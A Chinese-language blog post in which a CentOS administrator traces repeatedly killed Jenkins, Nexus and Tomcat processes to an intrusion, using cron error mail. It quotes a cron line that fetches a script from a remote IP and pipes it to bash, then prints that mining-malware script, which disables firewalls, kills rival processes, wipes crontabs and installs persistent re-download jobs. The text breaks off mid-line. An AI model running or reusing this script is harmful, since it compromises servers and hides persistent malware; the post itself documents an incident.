---
title: "centos系统启动jenkins,nexus,tomcat后不久进程被自动kill掉"
date: 2019-04-08 15:53:49
categories: linux
tags:
- tomcat
- gitlab
- jenkins
- root
- curl
- centos6
- 内存
- neuxs
- 进程
- kill
- 入侵
- 脚本
- spool
- mail
---
centos系统启动jenkins,nexus,tomcat后不久进程总是被自动kill掉，最初以为是 系统内存不足引起的，因为当时gitlab占用的内存很大，剩余内存只有3G左右。但是后来把gitlab停掉后，空闲内存一直保持在18G左右，但问题依然存在。
网上找了很多但都没有我这种情况，最后我发现每次出现这个现象时系统都会提示我You have new mail in /var/spool/mail/root
先开始我没把这个当回事，最后其它方法都试遍了只能怀疑这个的影响了。
打开/var/spool/mail/root后发现，有N封邮件，内容都一样，都是报错信息，邮件如下：
From root@cj-yun.localdomain Mon Apr 8 09:41:04 2019
Return-Path: <root@cj-yun.localdomain>
X-Original-To: root
Delivered-To: root@cj-yun.localdomain
Received: by cj-yun.localdomain (Postfix, from userid 0)
id E072A240196; Mon, 8 Apr 2019 09:41:04 +0800 (CST)
From: root@cj-yun.localdomain (Cron Daemon)
To: root@cj-yun.localdomain
Subject: Cron <root@cj-yun> (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
Content-Type: text/plain; charset=UTF-8
Auto-Submitted: auto-generated
X-Cron-Env: <LANG=en_US.UTF-8>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <PATH=/usr/bin:/bin>
X-Cron-Env: <LOGNAME=root>
X-Cron-Env: <USER=root>
Message-Id: <20190408014104.E072A240196@cj-yun.localdomain>
Date: Mon, 8 Apr 2019 09:41:01 +0800 (CST)mkdir: cannot create directory `/var/tmp': File exists
bash: line 9: service: command not found
bash: line 10: SuSEfirewall2: command not found
bash: line 11: reSuSEfirewall2: command not found
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
bash: line 26: iptables: command not found
bash: line 27: iptables: command not found
bash: line 28: iptables: command not found
bash: line 29: iptables: command not found
bash: line 39: chkconfig: command not found
chattr: No such file or directory while trying to stat /usr/local/lib/libntpd.so
chmod: cannot access `/usr/local/lib/libntpd.so': No such file or directory
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
chattr: No such file or directory while trying to stat /usr/lib/libiacpkmn.so.3
chattr: No such file or directory while trying to stat /etc/init.d/nfstruncate
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
usage: kill [ -s signal | -p ] [ -a ] pid ...
kill -l [ signal ]
tcp 0 0 192.168.196.50:60400 185.161.70.34:3333 ESTABLISHED
/root
Cron exists
因为有报错信息，我以为是系统在有些操作时报错了，把其中错误信息在网上搜索了下，发现跟我启动Jenkins或者nexus之类的操作是完全无关的。最后搜索某一个错误时有一篇文章说是被入侵了才引起我的注意。虽然这台服务器的防火墙是关闭的。但是当时我还是不相信这台服务器会被入侵。
无奈没有其它的方向，只好沿着这个方向调查了。首先，看邮件的倒数第二行发现本机的Ip:60400端口和一个不知道的ip：3333端口，百度了下这个端口，是个乌克兰的Ip。。感觉确实被它从我的60400端口入侵了。再看邮件里报错的信息，出现了某某文件第XX行报错，但是好像没有什么文件啊，能想到的就是可能被入侵后放入了脚本，然后执行脚本时有些目录没有或者权限问题报的错。
但是脚本在哪呢？最后在邮件的subject一栏里发现了一个地址。
(curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
就是它了！！在浏览器打开http://107.174.47.156/mr.sh后就能看到脚本的内容了。
下面就是脚本的内容。
#!/bin/sh
mkdir /var/tmp
touch /etc/ld.so.preload
chattr -i /usr/bin/wget
chmod 755 /usr/bin/wget
chattr -i /usr/bin/curl
chmod 755 /usr/bin/curl
/etc/init.d/iptables stop
service iptables stop
SuSEfirewall2 stop
reSuSEfirewall2 stop
pkill -f sysxlj
pkill -f jourxlv
pkill -f sustes
touch /etc/ld.so.preload
netstat -antp | grep '56415' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '139.99.120.75' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /usr/lib/void.so
rm -rf /etc/voidonce.sh
rm -rf /usr/local/lib/libjdk.so
rm -rf /usr/local/lib/libntp.so
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
sed -i '$d' /etc/crontab
rm -rf /lib64/library1.so
rm -rf /usr/lib64/library1.so
iptables -I OUTPUT -s 167.99.166.61 -j DROP
iptables -I INPUT -s 167.99.166.61 -j DROP
iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
rm -rf /etc/cron.monthly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
rm -rf /usr/local/bin/dns
echo "" > /etc/crontab
echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/apache
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
chkconfig --del netdns
pkill -f netdns
echo "" > /etc/cron.d/system
chmod 777 /var/tmp
rm -rf /usr/local/bin/dns
rm -rf /usr/sbin/netdns
rm -rf /etc/init.d/netdns
rm -rf /etc/cron.monthly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
chattr -i /usr/local/lib/libntpd.so
chmod 777 /usr/local/lib/libntpd.so
rm -rf /usr/local/lib/libntpd.so
sed -i '/libntpd.so/d' /etc/ld.so.preload
crontab -l | sed '/pastebin.com/d' | crontab -
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
netstat -antp | grep '202.144.193.110:3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
echo -e "*/1 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/apache
echo -e "*/30 * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - h